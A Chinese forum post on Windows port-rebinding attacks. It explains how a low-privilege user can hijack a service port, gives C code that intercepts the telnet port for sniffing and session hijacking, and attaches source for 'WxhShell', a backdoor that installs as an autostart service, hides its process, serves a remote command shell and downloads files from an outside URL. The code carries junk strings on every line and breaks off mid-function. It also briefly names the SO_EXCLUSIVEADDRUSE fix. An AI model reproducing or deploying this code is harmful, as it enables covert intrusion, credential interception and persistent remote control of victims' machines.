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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {fwA=J9%KS  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s:_M+_7_  
S,9}p 1  
  saddr.sin_family = AF_INET; 8<,b5  
PNm WZW*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >EVlMt27'  
c4]/{!4 Q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "A_,Ga  
]2^tV.^S^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 e,Ih7-=Er,  
+ 9vd(c  
  这意味着什么?意味着可以进行如下的攻击: c6IFt4)g  
h5+qP"n!?q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 K"p$ga{  
>Oary  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) c,cc avv{I  
t`PA85.|d  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 eBZa 9X$  
I)wjTTM5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5|&:l8=  
Jr0D:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Oeua<,]Z~  
OYcf+p"<\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 JfJUOaL  
+-b:XeHSZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?y.q<F)  
h8IjTd]z{$  
  #include "qL4D4  
  #include DU_38tz  
  #include WM& k  
  #include    HK@LA3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   t;[L-|^  
  int main() RR2Q  
  { k=t\  
  WORD wVersionRequested; 5F@7A2ZR  
  DWORD ret; )XB31^  
  WSADATA wsaData; O]ZP- WG  
  BOOL val; cR; zNS  
  SOCKADDR_IN saddr; |K},f,  
  SOCKADDR_IN scaddr; S@AHI!"h=V  
  int err; x/nlIoT  
  SOCKET s; f1c Q*#2~  
  SOCKET sc; %s.hqr,I  
  int caddsize; Ql1HaC/5)-  
  HANDLE mt; /:]`TlAb,  
  DWORD tid;   'r KDw06/  
  wVersionRequested = MAKEWORD( 2, 2 ); g.AMCM?z  
  err = WSAStartup( wVersionRequested, &wsaData ); wzX 1!?  
  if ( err != 0 ) { RX-qL,dc  
  printf("error!WSAStartup failed!\n"); UQGOCP_  
  return -1; "][MCVYP  
  } UjmBLXz@T  
  saddr.sin_family = AF_INET; ]X:{y&g(  
   4::>Ca^{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @Y/PvS8!  
]LFY2w<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Z]$RO  
  saddr.sin_port = htons(23); [ emUyF  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X~/hv_@  
  { EJ$-  
  printf("error!socket failed!\n"); =bJj;bc'5  
  return -1; yNY *Fl!  
  } K6#9HF'2I  
  val = TRUE; 7X3<8:%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 N3P!<J/tc  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [4)q6N5`f  
  { gTz66a@i  
  printf("error!setsockopt failed!\n");  &!I^m  
  return -1; xkv2#"*v  
  } al/3$0#U  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {}Y QB'}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 SHw%u~[hu  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 sb 3l4(8g  
fo63H'7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) y'(bp=Nq  
  { tw. 2h'D  
  ret=GetLastError(); >QwZt  
  printf("error!bind failed!\n"); pfj%AP:  
  return -1; d*%-r2K  
  } yZf+*j/a7  
  listen(s,2); (<ybst6+I  
  while(1) ?b',kN,(  
  { M8Y\1#~  
  caddsize = sizeof(scaddr); m5HP56a  
  //接受连接请求 EjsAV F [@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); jEQr{X7bEL  
  if(sc!=INVALID_SOCKET) x`'2oz=,F4  
  { qaBjV6loy  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &KfRZ`9H  
  if(mt==NULL) #J AU5d  
  { (bfHxkR.  
  printf("Thread Creat Failed!\n"); D#>+]}5@x  
  break; pdnkHR$  
  } (k?,+jnR  
  } 4l! ^"=rh  
  CloseHandle(mt); 3c5=>'^F  
  } xyO]Evg  
  closesocket(s); ygm4Aj>  
  WSACleanup(); h.Cr;w,2R  
  return 0; h:QKd!Gq  
  }   hJ8|KPgdw  
  DWORD WINAPI ClientThread(LPVOID lpParam) <y${Pkrj  
  { ien >Ou  
  SOCKET ss = (SOCKET)lpParam; @:$zReS2  
  SOCKET sc; o'.6gZ gk  
  unsigned char buf[4096]; *&X.  
  SOCKADDR_IN saddr; #4h_(Y  
  long num; !:Lb^C;/  
  DWORD val; 1x+Y gL5  
  DWORD ret; uMm/$#E  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \A`pF'50  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (>m3WI$d  
  saddr.sin_family = AF_INET; MRvtuE|g  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); E.v~<[g  
  saddr.sin_port = htons(23); Qh%(yL!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }Sa2s&[<  
  { #pJ^w>YNy  
  printf("error!socket failed!\n"); J-g#zs  
  return -1; 1nh2()QI[  
  } HjTK/x'_'L  
  val = 100; /kLX f_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n8"S;:Zm  
  { Ba/Z<1)  
  ret = GetLastError(); H27J kZ&  
  return -1; zuOx@T^  
  } ARYqX\-e  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 41%B%K*  
  { ^n5[pF}Gw  
  ret = GetLastError(); 2Up1 FFRx  
  return -1;  5#JGNxO  
  } (;=:QjaoZ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) kzCD>m  
  { |Ia3bV W  
  printf("error!socket connect failed!\n"); 4VE7%.z+  
  closesocket(sc); pfW0)V1t  
  closesocket(ss); 1 O+4A[cr  
  return -1; o"@y=n/  
  } d )|{iUcW  
  while(1) IC}?oXs5G  
  { ;i`X&[y;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 zECdj'/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =p>"PqJ/7n  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 P/._ tQu6  
  num = recv(ss,buf,4096,0); y|!%C-P  
  if(num>0) d>:(>@wz  
  send(sc,buf,num,0); &F" Mkyf  
  else if(num==0) yTw0\yiO  
  break; r@+IDW.=9  
  num = recv(sc,buf,4096,0); uAT01ZEm  
  if(num>0) lp5`Kw\  
  send(ss,buf,num,0); Fz7(Kuc  
  else if(num==0) [X:mmM0gd  
  break; ' pOtd7Vr  
  } R}4o{l6  
  closesocket(ss); H<|I&nV  
  closesocket(sc); eW)(u$C|qL  
  return 0 ; KU[eY}   
  } 6~\z]LZ  
uf,4GPo,  
N$J)Ow  
========================================================== T{u!4Yu  
ZjLzS]\a  
下边附上一个代码,,WXhSHELL MGIpo[  
TEOV>Tt  
========================================================== s}A)sBsaP3  
W#|]m=2W  
#include "stdafx.h" ?}sh@;]*h  
yG58?5\9  
#include <stdio.h> #5O'XH5_  
#include <string.h> ?}%Gr,tj2  
#include <windows.h> DG1  >T  
#include <winsock2.h> Xg.'<.!g0  
#include <winsvc.h> [6qa"Ie  
#include <urlmon.h> ~T<#HSR`  
HGmgQ>q@M$  
#pragma comment (lib, "Ws2_32.lib") s)<#a(!  
#pragma comment (lib, "urlmon.lib") 1QM*oj:  
J=>?D@K  
#define MAX_USER   100 // 最大客户端连接数 J=6 7As  
#define BUF_SOCK   200 // sock buffer /B"h #v-o  
#define KEY_BUFF   255 // 输入 buffer [@[!esC  
aR.1&3fE  
#define REBOOT     0   // 重启 9"R]"v3BA  
#define SHUTDOWN   1   // 关机 6\4n y0  
9}kN9u  
#define DEF_PORT   5000 // 监听端口 BR\% aU$u  
+NPk9jn  
#define REG_LEN     16   // 注册表键长度 dC@aQi6{6  
#define SVC_LEN     80   // NT服务名长度 9Qp39(l:  
O z%K*  
// 从dll定义API .z+?b8Q\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?_[xpK()  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zLXmjrC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }[Uh4k8P  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CFqoD l  
-yeQQ4b  
// wxhshell配置信息 0m,A`*o  
struct WSCFG { X"b4U\A  
  int ws_port;         // 监听端口 *Id$%O  
  char ws_passstr[REG_LEN]; // 口令 wo7.y["$  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~6@zXHAS  
  char ws_regname[REG_LEN]; // 注册表键名 jD3,z*  
  char ws_svcname[REG_LEN]; // 服务名 'nI2RX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !*u5HVn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I})la!9   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?HVsIAU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]CH@ T9d5V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v vlfL*f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {6)fZpd)@  
?ECmPS1  
}; T^N Y|Y/  
,5'LbO-  
// default Wxhshell configuration oM-{)rvQd  
struct WSCFG wscfg={DEF_PORT, &/R@cS6}'  
    "xuhuanlingzhe", C.s{ &  
    1, @/yRE^c  
    "Wxhshell", lDV8<  
    "Wxhshell", !U}A1)  
            "WxhShell Service", `LH!"M  
    "Wrsky Windows CmdShell Service", -2|D( sO  
    "Please Input Your Password: ", >yUThhJRn  
  1, dra'1E  
  "http://www.wrsky.com/wxhshell.exe", ];6c/#2x  
  "Wxhshell.exe" rwFR5  
    }; wRb%-s  
7CUu:6%  
// 消息定义模块 *103  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B Hn`e~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >5wA B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v83uGEq(  
char *msg_ws_ext="\n\rExit."; }p}i _'%  
char *msg_ws_end="\n\rQuit."; KSVIX!EsX  
char *msg_ws_boot="\n\rReboot..."; (}O)pqZ>  
char *msg_ws_poff="\n\rShutdown..."; a*CP1@O  
char *msg_ws_down="\n\rSave to "; >h<eEv/  
f2_LfbvH  
char *msg_ws_err="\n\rErr!"; 5}9-)\8=z  
char *msg_ws_ok="\n\rOK!"; # j*$ `W;  
!$AVl MnJ  
char ExeFile[MAX_PATH]; J"|)?$d]z  
int nUser = 0; <qZXpQ#  
HANDLE handles[MAX_USER]; ,oIZ5u{#,  
int OsIsNt; _baqN!N  
'LFHZ&-  
SERVICE_STATUS       serviceStatus; %9[GP7?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (y^oGY;  
M ^ ZoBsZ  
// 函数声明 Y_>z"T  
int Install(void); BzF.KCScs  
int Uninstall(void); 51.F,uY  
int DownloadFile(char *sURL, SOCKET wsh); a\vf{2  
int Boot(int flag); CB_(9T72H  
void HideProc(void); :tdx:  
int GetOsVer(void); VbM5]UT/  
int Wxhshell(SOCKET wsl); /}2 bsiJT  
void TalkWithClient(void *cs); 0NfO|l7P  
int CmdShell(SOCKET sock); )]J I Q"rR  
int StartFromService(void); 5h1!E  
int StartWxhshell(LPSTR lpCmdLine); C-qsyJgZy  
>tr?5iKxc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _4o2AS:j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2F!K }aw  
cAyR)Y!I  
// 数据结构和表定义 uByF*}d1  
SERVICE_TABLE_ENTRY DispatchTable[] = &Xe r#6~  
{ tA#X@HIE  
{wscfg.ws_svcname, NTServiceMain}, p$f#W  
{NULL, NULL} (J.(Fl>^  
}; #lltXqvD?  
; VK;_d  
// 自我安装 Z/q%%(fh 0  
int Install(void) >1pD'UZIy7  
{ ?*}76u  
  char svExeFile[MAX_PATH]; h|=^@F_\`  
  HKEY key; HCHP15otfe  
  strcpy(svExeFile,ExeFile); E}k#-+u<S4  
eN/s W!:P|  
// 如果是win9x系统,修改注册表设为自启动 sl6p/\_w  
if(!OsIsNt) { {,IWjt &>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?MKf=! w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P)1@HDN==  
  RegCloseKey(key); 2@08 V|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `"AjbCL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6xdu}l=%  
  RegCloseKey(key); "1%<IqpU+  
  return 0; "x\3`Qk  
    } _QvyFKAM  
  } t8i"f L  
} g ywI@QD%#  
else { *Q!b%DIa$  
hNDhee`%6  
// 如果是NT以上系统,安装为系统服务 (N;Jw^C@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (&x~pv"+  
if (schSCManager!=0) wrqdQ} @(  
{ pC8(>gV<h  
  SC_HANDLE schService = CreateService W:(:hT6`j9  
  ( MF 5w.@62X  
  schSCManager, @KOa5-u  
  wscfg.ws_svcname, 82$By]Y9  
  wscfg.ws_svcdisp, eoEb\zJ  
  SERVICE_ALL_ACCESS, ujz %0Mq;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x ?^c:`.  
  SERVICE_AUTO_START, $nn~K  
  SERVICE_ERROR_NORMAL, <g*rTqT'  
  svExeFile, M|n)LyL  
  NULL, %M}zi'qQ?  
  NULL, ++&F5'?g  
  NULL, 'Dat.@j  
  NULL, LWVO%@)w  
  NULL wW%I < M  
  ); `W]a @\EYA  
  if (schService!=0) T{uktIO/  
  { @;rVB  
  CloseServiceHandle(schService); ykM#EyN  
  CloseServiceHandle(schSCManager); g,,cV+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  u`bWn  
  strcat(svExeFile,wscfg.ws_svcname); n:*+pL;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N e^#5T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jb7=1OPD_  
  RegCloseKey(key); 'Fonn  
  return 0; %i.|bIhmm  
    } ++ dV5  
  } 5@0c@Q  
  CloseServiceHandle(schSCManager); uFok'3!g7%  
} @J r  
} <U~P-c tN  
Q@$1!9m  
return 1; hJ}G5pX  
} !?l 23(d  
;euWpE;E\#  
// 自我卸载 a@8knJ|  
int Uninstall(void) 3_h%g$04 s  
{ PA,j;{,(b  
  HKEY key; qWanr7n]@  
?5(L.XFm  
if(!OsIsNt) { Fn[~5/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qb"!  
  RegDeleteValue(key,wscfg.ws_regname); `Mjm/9+18  
  RegCloseKey(key); SQ.4IWT(hR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { htF&VeIte  
  RegDeleteValue(key,wscfg.ws_regname); (vI7qD_  
  RegCloseKey(key); Ce0I8B2y  
  return 0; I* bjE '  
  } 61mQJHl.  
} N$y4>g  
}  >#q|Pjv]  
else { ~(Tz <  
S;t~"87v*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +?.,pqn<=  
if (schSCManager!=0) ITsJjcYw  
{ NGze: gPmO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "q(&<+D@  
  if (schService!=0) ;m5M: Z"  
  { {'b8;x8h  
  if(DeleteService(schService)!=0) { O Z#?  
  CloseServiceHandle(schService); |hdh4P$+|  
  CloseServiceHandle(schSCManager); :w];N|48s  
  return 0; kqyMrZ#  
  } t =*K?'ly  
  CloseServiceHandle(schService); c^bA]l^a  
  } }!d}febk_  
  CloseServiceHandle(schSCManager); xO.7cSqgw  
} $(NfHIX  
} ~Fx[YPO,  
<pE G8_{}  
return 1; o?b%L  
} ;T_9;RU<'b  
AH7k|6ku<*  
// 从指定url下载文件 0)/214^&  
int DownloadFile(char *sURL, SOCKET wsh) )8<X6  
{ c8'8DM  
  HRESULT hr; I#Bz UF  
char seps[]= "/"; NRl"!FSD;"  
char *token; zJsoenU  
char *file; /F4:1 }  
char myURL[MAX_PATH]; >u4e:/5]  
char myFILE[MAX_PATH]; l~=iUZW<  
:rj78_e9  
strcpy(myURL,sURL); 7'8O*EoB'  
  token=strtok(myURL,seps); -m @s 9k  
  while(token!=NULL) -?]ltn9!  
  { lvN{R{7 >  
    file=token; oby*.61?5l  
  token=strtok(NULL,seps); ;?[~]"  
  } n (|>7  
q-RGplx  
GetCurrentDirectory(MAX_PATH,myFILE); |4c==7.  
strcat(myFILE, "\\"); e56#Qb@$\  
strcat(myFILE, file); ((5zwD  
  send(wsh,myFILE,strlen(myFILE),0); y{"E) YY  
send(wsh,"...",3,0); vr  vzV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); RasoOj$  
  if(hr==S_OK) U;nC)'~YW9  
return 0; UQ8x #(`ak  
else G !~BA*  
return 1; N\fT6#5B  
H|Nw)*.  
} %b?Pasf.  
&-* nr/xT  
// 系统电源模块 Z`*cI   
int Boot(int flag) $"i690  
{ vq s~a7E-P  
  HANDLE hToken; ,,J3 h  
  TOKEN_PRIVILEGES tkp; C1/jA>XW  
O<3,n;56Z  
  if(OsIsNt) { Y; w]u_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); } -vBRY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y(dS1.5F  
    tkp.PrivilegeCount = 1; Z~uKT n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; br;G5^j3?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]M2<I#hF.  
if(flag==REBOOT) { /Ow?nWSt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k$c j|-<  
  return 0; gctaarB&  
} Cm4 *sN.&)  
else { A1q^E(}O  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P&GZe/6Y  
  return 0; R\}YD*  
} _y9P]@Q7%  
  } 1FJ[_ l  
  else { Kzb@JBIF  
if(flag==REBOOT) { 9X%Klm 5w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [z~Nw#  
  return 0; K[[k,W]qb  
} .ndQ(B  
else { LC{hoq\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FNuu',:  
  return 0; R u5&xIQ  
} X{ =[q|P  
} Ic}ofBK  
 ~Hs{(7   
return 1; dO[4}FZ$  
} K5>:Wi Y  
@QG1\W'  
// win9x进程隐藏模块 `k&K"jA7$  
void HideProc(void) l:eNu}{&  
{ C6w{"[Wv=X  
f 99PwE(=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <<6w9wNon  
  if ( hKernel != NULL ) cnthtv+(~  
  { 9ojhI=:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gcxk 'd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d mz3O(]$  
    FreeLibrary(hKernel); YZl%JX  
  } qfu2}qUX~%  
6W=:`14  
return; CK(ev*@\D,  
} ? 6d4T  
V+24-QWh  
// 获取操作系统版本 QNXxpoS#  
int GetOsVer(void) h*UUtLi%WU  
{ P;%QA+%7  
  OSVERSIONINFO winfo; Hz8`)cv`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f'OvG@  
  GetVersionEx(&winfo); n*~   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Mj B[5:s  
  return 1; "6yiQ\`J  
  else Td*Oljj._U  
  return 0; XL^N5  
} 3 \r@f_p  
<y!r~?  
// 客户端句柄模块 UwkX[u  
int Wxhshell(SOCKET wsl) ^4pKsO3ul  
{ o2d~  
  SOCKET wsh; suFOc  
  struct sockaddr_in client; #@^w>D6W  
  DWORD myID; "5:f{GfO#v  
)V3(nZY  
  while(nUser<MAX_USER) h(Ed%  
{ 5iddB $  
  int nSize=sizeof(client); 2nkj;x{H$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); EAw#$Aq=  
  if(wsh==INVALID_SOCKET) return 1; *t{c}Y&@  
Pki4wDCTW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b',bi.FH  
if(handles[nUser]==0) b0Ov+ )7#  
  closesocket(wsh); $af}+:'  
else -!,]Y10  
  nUser++; ;-pvc<_c<  
  } wp.e3l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9}cuAVI  
/}`/i(k  
  return 0; w"agn}CK  
} ~e77w\Q0  
otf%kG w  
// 关闭 socket qMES<UL>  
void CloseIt(SOCKET wsh) gH^$Y~Lx  
{ xeM':hD.o  
closesocket(wsh); IXvz&4VD  
nUser--; |4. o$*0Y  
ExitThread(0); gkML .u  
} ](>7h _2B  
Xm:=jQn  
// 客户端请求句柄 5A$az03y$\  
void TalkWithClient(void *cs) $;uWj|  
{ ;[%}Xx  
}u_EXP8M  
  SOCKET wsh=(SOCKET)cs; Pgw%SMEp  
  char pwd[SVC_LEN]; cJ##K/es  
  char cmd[KEY_BUFF]; k> &s( b  
char chr[1]; P!+nZXo  
int i,j; A?D"j7JD=L  
0tCOb9  
  while (nUser < MAX_USER) { .(7C)P{ .0  
x56 F  
if(wscfg.ws_passstr) { e9@fQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j%Z{.>mJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !N8)C@=  
  //ZeroMemory(pwd,KEY_BUFF); zLw h6^?Y  
      i=0; 207O["Y  
  while(i<SVC_LEN) { j(6$7+2qN  
_SIs19"lR  
  // 设置超时 +GYMJK`S+  
  fd_set FdRead; +yb$[E*  
  struct timeval TimeOut; f'6qJk%J  
  FD_ZERO(&FdRead); Uk *;C  
  FD_SET(wsh,&FdRead); iCnUnR{  
  TimeOut.tv_sec=8; T dP{{&'9  
  TimeOut.tv_usec=0; 3H'nRK},  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FK@ f'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '+!S|U,{  
O/Mz?$8J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J4[x,(iq(  
  pwd=chr[0]; / }XsuH  
  if(chr[0]==0xd || chr[0]==0xa) { 1%hM8:)i_  
  pwd=0; VUy)4*  
  break; J`+`Kq1T  
  } hGA!1a4 c  
  i++; +# RlX3P  
    } }.MoDR3\  
3W-NS~y  
  // 如果是非法用户,关闭 socket P10p<@?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E]H   
} tC?A so  
1(?CNW[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }^pQbFku  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n-y^ 7'v  
762o~vY6$  
while(1) { yxCM l.  
n4vXm  
  ZeroMemory(cmd,KEY_BUFF); 3j+=3n,  
y4/>Ol]  
      // 自动支持客户端 telnet标准   N8 kb-2  
  j=0; )_9e@ ~,  
  while(j<KEY_BUFF) { v$)@AE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xS~yH[k  
  cmd[j]=chr[0]; mI7rx`4H  
  if(chr[0]==0xa || chr[0]==0xd) { =nvAOvP{?  
  cmd[j]=0; * >GIk`!wM  
  break; s3Krob`C5  
  } r%y;8$/-  
  j++; mo|PrLV  
    } of+phMev  
&ppE|[{  
  // 下载文件 7O8V1Tt  
  if(strstr(cmd,"http://")) { /OhaERv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]Z.<c$  
  if(DownloadFile(cmd,wsh)) m]0^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $kkp*3{ot  
  else |D;"D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZSF=  
  } hy$MV3LP  
  else { z;bH<cQ  
6bbZ<E5At  
    switch(cmd[0]) { ,5eH2W  
  ;&+[W(7Sy  
  // 帮助 Sv~YFS :oy  
  case '?': { @ate49W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); POqRHuFq  
    break; u=@h`5-fp  
  } j8[`~p b  
  // 安装 'R4>CZ%jV  
  case 'i': { {?EEIfg  
    if(Install()) VY+(,\ )U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x{NNx:T1  
    else #1QX!dK+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sR"zRn  
    break; `ICcaRIN8I  
    } gx!*O<|e4  
  // 卸载 f?=r3/AO  
  case 'r': { 1z})mfsh  
    if(Uninstall()) F!OOrW]p0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a%7"_{s1  
    else 1<LC8?wt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %_B:EMPd  
    break; , @%C8Z  
    } -H1"OJ2aF  
  // 显示 wxhshell 所在路径 #&^ZQs<  
  case 'p': { H$~M`Y9I~  
    char svExeFile[MAX_PATH]; |8&-66pX  
    strcpy(svExeFile,"\n\r"); !X5o7b)  
      strcat(svExeFile,ExeFile); Lnh':7FQJx  
        send(wsh,svExeFile,strlen(svExeFile),0); n0rerI[R  
    break; S2J#b"Y  
    } CrnB{Z4L  
  // 重启 G$;>ueM  
  case 'b': { v}7@CP]nV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P]pmt1a  
    if(Boot(REBOOT)) O" % Hprx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E$]a?uA:  
    else { m >]>$=%  
    closesocket(wsh); eaV3) uP  
    ExitThread(0); cT/3yf  
    } gB(9vhj $  
    break; H|PrsGW  
    } y#b;uDY  
  // 关机 xGKfej9  
  case 'd': { b%Wd<N2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YHs?QsP  
